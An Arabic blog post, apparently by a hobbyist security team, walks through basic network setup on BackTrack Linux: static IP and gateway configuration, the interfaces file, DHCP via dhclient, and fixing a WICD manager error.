Default Gateway -  192.168.1.1
   DNS server      
-  192.168.1.1 
من أجل ضبط هذه سوف نقوم بتشغيل الأوامر التالية
كود PHP:
root@bt:~# [COLOR="Red"]ifconfig eth0 192.168.1.112/24[/COLOR] root@bt:~# [COLOR="Red"]route add default gw 192.168.1.1[/COLOR] root@bt:~#[COLOR="Red"] echo nameserver 192.168.1.1 > /etc/resolv.conf[/COLOR] 
الحصول على IP ثابت

هذه الإعدادات وسوف تستمر ولكن فقط حتى يتم إعادة تشغيل الكمبيوتر، لذلك إذا كنا نريد لانقاذهم بين تمهيد نحن بحاجة إلى تحرير /etc/network/interfaces ملف من هذا القبيل:
كود PHP:
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5). 

# The loopback network interface 
auto lo
iface lo inet loopback
# The primary network interface auto eth0
iface eth0 inet 
static
        
address 192.168.1.112
        netmask 255.255.255.0
        network 192.168.1.0
        broadcast 192.168.1.255
        gateway 192.168.1.1 
تحرير الملف على النحو المناسب، ثم الاتصال يأتي تلقائيا في وقت التمهيد:
كود PHP:
root@bt:~# [COLOR="Red"]update-rc.d networking defaults[/COLOR] root@bt:~#[COLOR="Red"] /etc/init.d/networking restart[/COLOR] 
الحصول على IP من DHCP

من أجل الحصول على IP من ملقم DHCP يمكن أن ننفذ الأمر dhclient على النحو التالي:
كود PHP:
root@bt:~#[COLOR="Red"] dhclient eth0[/COLOR] Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004
-2008 Internet Systems Consortium. All rights reserved.
For 
infoplease visit http://www.isc.org/sw/dhcp/
Listening on LPF/eth0/00:0c:29:81:74:21
Sending on   LPF
/eth0/00:0c:29:81:74:21
Sending on   Socket
/fallback
DHCPREQUEST of 192.168.1.112 on eth0 to 255.255.255.255 port 67
DHCPACK of 192.168.1.112 from 192.168.1.1
bound to 192.168.1.112 
-- renewal in 37595 seconds. root@bt:~
باستخدام script لبدء التواصل

هناك script لبدء الربط الاتصال في الدليل /etc/init.d الذي يحاول أن يبدأ كل واجهة الاستماع في /etc/network/interfaces (يمكنك إزالة تلك التي لا تحتاج). لبدء تشغيله لإصدار الأمر التالي:
كود PHP:
root@bt:~# [COLOR="Red"]/etc/init.d/networking start[/COLOR] 
WICD مدير الشبكة


طريقة أخرى لإقامة الشبكات الخاصة بك يستخدم مدير شبكة WICD، يمكنك العثور عليها في القائمة:

Menu > Internet > Wicd Network Manager


ملاحظة: لاحظ أنه عند بدء WICD ستحصل على خطأ:

لمستخدمين الباك تراك اوامر لباك

من أجل التخلص من هذا الخطأ لديك لإعادة تشغيل Backtrack، من قبل البدء WICD فتح محطة ونوع في ما يلي:
كود PHP:
root@bt:~# [COLOR="Red"]dpkg-reconfigure wicd[/COLOR] root@bt:~# [COLOR="Red"]update-rc.d wicd defaults[/COLOR] 

الآن بعد إعادة تشغيل الكمبيوتر الخطأ لن يحدث بعد الآن.
============



أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr
 
==============Security Palestine Team==============
 

11:35 م
يتم التشغيل بواسطة Blogger.